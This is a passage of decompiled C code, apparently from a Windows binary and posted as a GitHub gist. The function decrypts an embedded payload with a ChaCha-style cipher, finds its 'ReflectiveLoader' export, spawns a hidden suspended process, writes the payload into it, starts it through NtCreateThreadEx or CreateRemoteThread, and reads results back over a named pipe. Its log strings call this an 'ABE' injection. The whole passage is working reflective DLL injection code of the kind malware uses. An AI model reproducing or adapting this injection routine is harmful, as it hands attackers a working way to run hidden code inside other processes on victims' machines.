| *(_DWORD *)(a4 + 36) = 2; | |
| return 0; | |
| } | |
| log("[#] ABE: Starting injection for %s\n", *(const char **)(*(_QWORD *)a1 + 8LL)); | |
| TickCount = GetTickCount(); | |
| CurrentProcessId = GetCurrentProcessId(); | |
| _snwprintf(Buffer, 0x80u, L"\\\\.\\pipe\\abe_%lu_%lu", CurrentProcessId, TickCount); | |
| hObject = CreateNamedPipeW(Buffer, 3u, 0, 1u, 0x1000u, 0x1000u, 0x7530u, nullptr); | |
| if ( hObject == (HANDLE)-1LL ) | |
| { | |
| LABEL_33: | |
| *(_DWORD *)(v5 + 36) = GetLastError(); | |
| return 0; | |
| } | |
| lpAddress_2 = (char *)VirtualAlloc(nullptr, 0x4E00u, 0x3000u, 4u); | |
| lpAddress = lpAddress_2; | |
| if ( !lpAddress_2 ) | |
| { | |
| CloseHandle(hObject); | |
| *(_DWORD *)(v5 + 36) = 8; | |
| return 0; | |
| } | |
| v13 = _mm_loadu_si128((const __m128i *)&xmmword_14007FCA0); | |
| RemoteThread_1 = RemoteThread; | |
| v15 = _mm_loadu_si128((const __m128i *)&xmmword_14007FCB0); | |
| v16 = _mm_loadu_si128((const __m128i *)&xmmword_14007FCC0); | |
| v139 = v5; | |
| n312 = 0; | |
| lpAddress_3 = lpAddress_2; | |
| v19 = (char *)&unk_14007AEA0; | |
| do | |
| { | |
| n312_1 = n312; | |
| v128[0] = v13; | |
| ++n312; | |
| v129.m128i_i64[0] = n312_1 | 0xB1E0DD1E00000000uLL; | |
| n10 = 10; | |
| v129.m128i_i64[1] = 0xAAADF44647E76DF4uLL; | |
| qmemcpy(RemoteThread, "expand 32-byte k", 16); | |
| RemoteThread[2] = (HANDLE)0x3EBCDEE352F41C1FLL; | |
| RemoteThread[3] = (HANDLE)0xA3F0E818CD8A03DBLL; | |
| v22 = _mm_loadu_si128(&v129); | |
| RemoteThread[4] = (HANDLE)0xEE9A8068A0C83059LL; | |
| RemoteThread[5] = (HANDLE)0xC87ACB7D1AE48445LL; | |
| v128[1] = v15; | |
| v128[2] = v16; | |
| v131 = v22; | |
| do | |
| { | |
| sub_140015840((_DWORD)RemoteThread_1, 0, 4, 8, 12); | |
| sub_140015840(v23, 1, 5, 9, 13); | |
| sub_140015840(v24, 2, 6, 10, 14); | |
| sub_140015840(v25, 3, 7, 11, 15); | |
| sub_140015840(v26, 0, 5, 10, 15); | |
| sub_140015840(v27, 1, 6, 11, 12); | |
| sub_140015840(v28, 2, 7, 8, 13); | |
| sub_140015840(v29, 3, 4, 9, 14); | |
| --n10; | |
| } | |
| while ( n10 ); | |
| v30 = v127; | |
| v31 = (const __m128i *)v128; | |
| RemoteThread_2 = (__m128i *)RemoteThread_1; | |
| do | |
| { | |
| v33 = _mm_add_epi32(_mm_loadu_si128(v31), *RemoteThread_2); | |
| v30 += 4; | |
| ++v31; | |
| ++RemoteThread_2; | |
| *((__m128i *)v30 - 1) = v33; | |
| } | |
| while ( v30 != (unsigned int *)v128 ); | |
| for ( i = 0; i != 16; i += 4 ) | |
| *(__m128i *)&lpAddress_3[i * 4] = _mm_xor_si128( | |
| _mm_loadu_si128((const __m128i *)&v127[i]), | |
| *(__m128i *)&v19[i * 4]); | |
| v19 += 64; | |
| lpAddress_3 += 64; | |
| } | |
| while ( n312 != 312 ); | |
| v5 = v139; | |
| if ( *(_WORD *)lpAddress != 23117 ) | |
| goto LABEL_30; | |
| v35 = &lpAddress[*((int *)lpAddress + 15)]; | |
| if ( *(_DWORD *)v35 != 17744 ) | |
| goto LABEL_30; | |
| v36 = *((_DWORD *)v35 + 34); | |
| if ( !v36 ) | |
| goto LABEL_30; | |
| v37 = *((_WORD *)v35 + 3); | |
| if ( !v37 ) | |
| goto LABEL_30; | |
| v111 = &v35[*((unsigned __int16 *)v35 + 10) + 24]; | |
| v38 = &v111[40 * v37]; | |
| v39 = v111; | |
| while ( 1 ) | |
| { | |
| v40 = *((_DWORD *)v39 + 3); | |
| if ( v36 >= v40 && v36 < v40 + *((_DWORD *)v39 + 2) ) | |
| break; | |
| v39 += 40; | |
| if ( v39 == v38 ) | |
| goto LABEL_30; | |
| } | |
| v41 = *((_DWORD *)v39 + 5) + v36 - v40; | |
| if ( !v41 ) | |
| goto LABEL_30; | |
| v42 = &lpAddress[v41]; | |
| v43 = v111; | |
| v44 = *((_DWORD *)v42 + 8); | |
| while ( 1 ) | |
| { | |
| v45 = *((_DWORD *)v43 + 3); | |
| if ( v44 >= v45 && v44 < v45 + *((_DWORD *)v43 + 2) ) | |
| break; | |
| v43 += 40; | |
| if ( v43 == v38 ) | |
| { | |
| v46 = 0; | |
| goto LABEL_41; | |
| } | |
| } | |
| v46 = *((_DWORD *)v43 + 5) + v44 - v45; | |
| LABEL_41: | |
| v47 = *((_DWORD *)v42 + 9); | |
| v48 = v111; | |
| while ( 1 ) | |
| { | |
| v49 = *((_DWORD *)v48 + 3); | |
| if ( v47 >= v49 && v47 < v49 + *((_DWORD *)v48 + 2) ) | |
| break; | |
| v48 += 40; | |
| if ( v48 == v38 ) | |
| { | |
| v113 = 0; | |
| goto LABEL_46; | |
| } | |
| } | |
| v113 = *((_DWORD *)v48 + 5) + v47 - v49; | |
| LABEL_46: | |
| v50 = *((_DWORD *)v42 + 7); | |
| v51 = v111; | |
| while ( 1 ) | |
| { | |
| v52 = *((_DWORD *)v51 + 3); | |
| if ( v50 >= v52 && v50 < v52 + *((_DWORD *)v51 + 2) ) | |
| break; | |
| v51 += 40; | |
| if ( v38 == v51 ) | |
| { | |
| v53 = 0; | |
| goto LABEL_51; | |
| } | |
| } | |
| v53 = *((_DWORD *)v51 + 5) + v50 - v52; | |
| LABEL_51: | |
| v54 = *((_DWORD *)v42 + 6); | |
| if ( !v54 ) | |
| goto LABEL_30; | |
| *(_QWORD *)n19968 = v53; | |
| v55 = 0; | |
| RemoteThread_3 = RemoteThread_1; | |
| v56 = v54; | |
| v57 = v38; | |
| while ( 1 ) | |
| { | |
| v58 = *(_DWORD *)&lpAddress[4 * v55 + v46]; | |
| v59 = v111; | |
| while ( 1 ) | |
| { | |
| v60 = *((_DWORD *)v59 + 3); | |
| if ( v58 >= v60 && v58 < v60 + *((_DWORD *)v59 + 2) ) | |
| break; | |
| v59 += 40; | |
| if ( v57 == v59 ) | |
| { | |
| Str1 = lpAddress; | |
| goto LABEL_58; | |
| } | |
| } | |
| Str1 = &lpAddress[*((_DWORD *)v59 + 5) + v58 - v60]; | |
| LABEL_58: | |
| if ( !strcmp(Str1, "ReflectiveLoader") ) | |
| break; | |
| if ( v56 == ++v55 ) | |
| { | |
| v5 = v139; | |
| goto LABEL_30; | |
| } | |
| } | |
| v62 = v55; | |
| v7 = 0; | |
| v5 = v139; | |
| v63 = *(_DWORD *)&lpAddress[4 * *(unsigned __int16 *)&lpAddress[2 * v62 + v113] + *(_QWORD *)n19968]; | |
| v64 = v111; | |
| while ( 1 ) | |
| { | |
| v65 = *((_DWORD *)v64 + 3); | |
| if ( v63 >= v65 && v63 < v65 + *((_DWORD *)v64 + 2) ) | |
| break; | |
| v64 += 40; | |
| if ( v64 == v57 ) | |
| goto LABEL_30; | |
| } | |
| v118 = *((_DWORD *)v64 + 5) + v63 - v65; | |
| if ( !v118 ) | |
| { | |
| LABEL_30: | |
| VirtualFree(lpAddress, 0, 0x8000u); | |
| CloseHandle(hObject); | |
| *(_DWORD *)(v5 + 36) = 127; | |
| return 0; | |
| } | |
| lpStartupInfo.cb = 104; | |
| lpStartupInfo.dwFlags = STARTF_USESHOWWINDOW; | |
| lpStartupInfo.wShowWindow = 0; | |
| if ( !CreateProcessW( | |
| a1 + 264, | |
| nullptr, | |
| nullptr, | |
| nullptr, | |
| 0, | |
| 0x8000004u, | |
| nullptr, | |
| nullptr, | |
| &lpStartupInfo, | |
| &ProcessInformation) ) | |
| { | |
| VirtualFree(lpAddress, 0, 0x8000u); | |
| CloseHandle(hObject); | |
| goto LABEL_33; | |
| } | |
| hProcess = ProcessInformation.hProcess; | |
| hThread = ProcessInformation.hThread; | |
| log("[#] ABE: Created suspended process (PID: %lu)\n", ProcessInformation.dwProcessId); | |
| LOWORD(v128[0]) = 0; | |
| LOWORD(RemoteThread[0]) = 0; | |
| ModuleHandleW = GetModuleHandleW(L"kernel32.dll"); | |
| lpBuffera_1 = lpBuffera; | |
| RemoteThread_4 = (wchar_t *)RemoteThread_3; | |
| if ( ModuleHandleW ) | |
| { | |
| IsWow64Process2 = GetProcAddress(ModuleHandleW, "IsWow64Process2"); | |
| lpBuffera_1 = lpBuffera; | |
| RemoteThread_4 = (wchar_t *)RemoteThread_3; | |
| if ( IsWow64Process2 ) | |
| { | |
| v71 = ((__int64 (__fastcall *)(HANDLE, _OWORD *, HANDLE *))IsWow64Process2)(hProcess, v128, RemoteThread_3); | |
| RemoteThread_4 = (wchar_t *)RemoteThread_3; | |
| lpBuffera_1 = lpBuffera; | |
| if ( v71 ) | |
| { | |
| v72 = v128[0]; | |
| if ( !LOWORD(v128[0]) ) | |
| v72 = (__int16)RemoteThread[0]; | |
| if ( v72 != -31132 ) | |
| { | |
| TerminateProcess(hProcess, 0); | |
| CloseHandle(hThread); | |
| CloseHandle(hProcess); | |
| VirtualFree(lpAddress, 0, 0x8000u); | |
| CloseHandle(hObject); | |
| *(_DWORD *)(v5 + 36) = 50; | |
| return 0; | |
| } | |
| } | |
| } | |
| } | |
| lpBufferb = lpBuffera_1; | |
| RemoteThread_5 = RemoteThread_4; | |
| v73 = wcslen(Buffer); | |
| n19968a = 2 * v73 + 2; | |
| *(_QWORD *)v127 = 2 * v73 + 19970; | |
| Stringd_1 = sub_1400176A0(hProcess, (unsigned int)v123, 0, (unsigned int)v127, 12288, 4); | |
| if ( Stringd_1 < 0 ) | |
| { | |
| Stringd = Stringd_1; | |
| TerminateProcess(hProcess, 0); | |
| CloseHandle(hThread); | |
| CloseHandle(hProcess); | |
| VirtualFree(lpAddress, 0, 0x8000u); | |
| CloseHandle(hObject); | |
| *(_DWORD *)(v5 + 36) = RtlNtStatusToDosError(Stringd); | |
| return 0; | |
| } | |
| *(_QWORD *)&v128[0] = 0; | |
| v75 = sub_1400176E0(hProcess, v123[0], lpAddress, 19968, (__int64)v128); | |
| lpAddress_1 = lpAddress; | |
| v77 = v75; | |
| VirtualFree(lpAddress_1, 0, 0x8000u); | |
| RemoteThread_6 = RemoteThread_5; | |
| if ( v77 < 0 | |
| || (lpParameter = (void *)(*(_QWORD *)v123 + 19968LL), | |
| v80 = sub_1400176E0(hProcess, v123[0] + 19968, (char *)Buffer, n19968a, (__int64)v128), | |
| RemoteThread_6 = RemoteThread_5, | |
| v80 < 0) | |
| || (v120 = 0, | |
| v81 = sub_1400177C0(hProcess, (unsigned int)v123, (unsigned int)v127, 32, (__int64)&v120), | |
| RemoteThread_6 = RemoteThread_5, | |
| v81 < 0) ) | |
| { | |
| __imp_CloseHandle = (void (__stdcall *)(HANDLE))CloseHandle; | |
| } | |
| else | |
| { | |
| lpStartAddress = (ULONG (__stdcall *)(PVOID))(*(_QWORD *)v123 + v118); | |
| RemoteThread[0] = nullptr; | |
| v83 = sub_140017740(RemoteThread_5, 0x1FFFFF, 0, hProcess, lpStartAddress, lpParameter, 0, 0, 0, 0, 0); | |
| RemoteThread_7 = RemoteThread_5; | |
| lpBufferb_1 = lpBufferb; | |
| if ( v83 >= 0 ) | |
| { | |
| RemoteThread_9 = RemoteThread[0]; | |
| if ( RemoteThread[0] ) | |
| goto LABEL_82; | |
| } | |
| hModule = GetModuleHandleW("n"); | |
| lpBufferb_1 = lpBufferb; | |
| RemoteThread_7 = RemoteThread_5; | |
| if ( hModule ) | |
| { | |
| NtCreateThreadEx = GetProcAddress(hModule, "NtCreateThreadEx"); | |
| lpBufferb_1 = lpBufferb; | |
| RemoteThread_7 = RemoteThread_5; | |
| if ( NtCreateThreadEx ) | |
| { | |
| RemoteThread[0] = nullptr; | |
| v95 = ((__int64 (__fastcall *)(wchar_t *, __int64, _QWORD, HANDLE, ULONG (__stdcall *)(PVOID), void *, _DWORD, _QWORD, _QWORD, _QWORD, _QWORD))NtCreateThreadEx)( | |
| RemoteThread_5, | |
| 0x1FFFFF, | |
| 0, | |
| hProcess, | |
| lpStartAddress, | |
| lpParameter, | |
| 0, | |
| 0, | |
| 0, | |
| 0, | |
| 0); | |
| RemoteThread_7 = RemoteThread_5; | |
| lpBufferb_1 = lpBufferb; | |
| if ( v95 >= 0 ) | |
| { | |
| RemoteThread_9 = RemoteThread[0]; | |
| if ( RemoteThread[0] ) | |
| goto LABEL_82; | |
| } | |
| } | |
| } | |
| Stringb = RemoteThread_7; | |
| lpBufferd = lpBufferb_1; | |
| RemoteThread_12 = CreateRemoteThread(hProcess, nullptr, 0, lpStartAddress, lpParameter, 0, nullptr); | |
| lpBufferb_1 = lpBufferd; | |
| RemoteThread_7 = Stringb; | |
| RemoteThread_9 = RemoteThread_12; | |
| if ( RemoteThread_12 ) | |
| { | |
| LABEL_82: | |
| RemoteThread_8 = RemoteThread_7; | |
| lpBufferc = lpBufferb_1; | |
| Overlapped.hEvent = CreateEventW(nullptr, 1, 0, nullptr); | |
| ConnectNamedPipe(hObject, &Overlapped); | |
| __imp_CloseHandle = (void (__stdcall *)(HANDLE))CloseHandle; | |
| v88 = WaitForSingleObject(Overlapped.hEvent, 0x7530u); | |
| CloseHandle(Overlapped.hEvent); | |
| if ( v88 ) | |
| { | |
| *(_DWORD *)(v5 + 36) = 1460; | |
| sub_140017810(RemoteThread_9); | |
| RemoteThread_6 = RemoteThread_8; | |
| } | |
| else | |
| { | |
| v89 = WriteFile(hObject, &nNumberOfBytesToWritea, 4u, &lpNumberOfBytesWritten_, nullptr); | |
| RemoteThread_10 = RemoteThread_8; | |
| if ( v89 | |
| && (v91 = WriteFile(hObject, lpBufferc, nNumberOfBytesToWritea, &lpNumberOfBytesWritten_, nullptr), | |
| RemoteThread_10 = RemoteThread_8, | |
| v91) | |
| && (FlushFileBuffers(hObject), | |
| v92 = ReadFile(hObject, lpBuffer_2, 0x2Cu, &NumberOfBytesRead, nullptr), | |
| RemoteThread_10 = RemoteThread_8, | |
| v92) | |
| && NumberOfBytesRead == 44 ) | |
| { | |
| if ( (unsigned int)(lpBuffer_2[2].m128i_i32[2] - 1) <= 0x7FE ) | |
| { | |
| nNumberOfBytesToRead = lpBuffer_2[2].m128i_u32[2]; | |
| lpBuffer = malloc((unsigned int)(lpBuffer_2[2].m128i_i32[2] + 1)); | |
| RemoteThread_10 = RemoteThread_8; | |
| lpBuffer_1 = lpBuffer; | |
| if ( lpBuffer ) | |
| { | |
| v100 = ReadFile(hObject, lpBuffer, nNumberOfBytesToRead, &NumberOfBytesRead, nullptr); | |
| RemoteThread_11 = RemoteThread_8; | |
| if ( v100 && lpBuffer_2[2].m128i_i32[2] == NumberOfBytesRead ) | |
| { | |
| lpBuffer_1[lpBuffer_2[2].m128i_u32[2]] = 0; | |
| sub_14001F580(lpBuffer_1); | |
| RemoteThread_11 = RemoteThread_8; | |
| } | |
| Stringf = RemoteThread_11; | |
| free(lpBuffer_1); | |
| RemoteThread_10 = Stringf; | |
| } | |
| } | |
| if ( lpBuffer_2[0].m128i_i64[0] == 0x2000000000LL ) | |
| { | |
| v102 = _mm_loadu_si128((const __m128i *)&lpBuffer_2[0].m128i_u64[1]); | |
| *(_DWORD *)(v5 + 32) = 1; | |
| v7 = 1; | |
| *(__m128i *)v5 = v102; | |
| *(__m128i *)(v5 + 16) = _mm_loadu_si128((const __m128i *)&lpBuffer_2[1].m128i_u64[1]); | |
| } | |
| else | |
| { | |
| *(_DWORD *)(v5 + 36) = lpBuffer_2[0].m128i_i32[0]; | |
| } | |
| Stringc = RemoteThread_10; | |
| sub_140017810(RemoteThread_9); | |
| RemoteThread_6 = Stringc; | |
| } | |
| else | |
| { | |
| Stringe = RemoteThread_10; | |
| *(_DWORD *)(v5 + 36) = GetLastError(); | |
| sub_140017810(RemoteThread_9); | |
| RemoteThread_6 = Stringe; | |
| } | |
| } | |
| } | |
| else | |
| { | |
| LastError = GetLastError(); | |
| __imp_CloseHandle = (void (__stdcall *)(HANDLE))CloseHandle; | |
| RemoteThread_6 = Stringb; | |
| *(_DWORD *)(v5 + 36) = LastError; | |
| } | |
| } | |
| Stringa = RemoteThread_6; | |
| __imp_CloseHandle(hObject); | |
| if ( hProcess ) | |
| { | |
| RemoteThread[0] = (HANDLE)-10000000LL; | |
| sub_1400177F0(hProcess, 0); | |
| sub_140017840(hProcess, 0, Stringa); | |
| __imp_CloseHandle(hProcess); | |
| } | |
| if ( hThread ) | |
| __imp_CloseHandle(hThread); | |
| return v7; | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment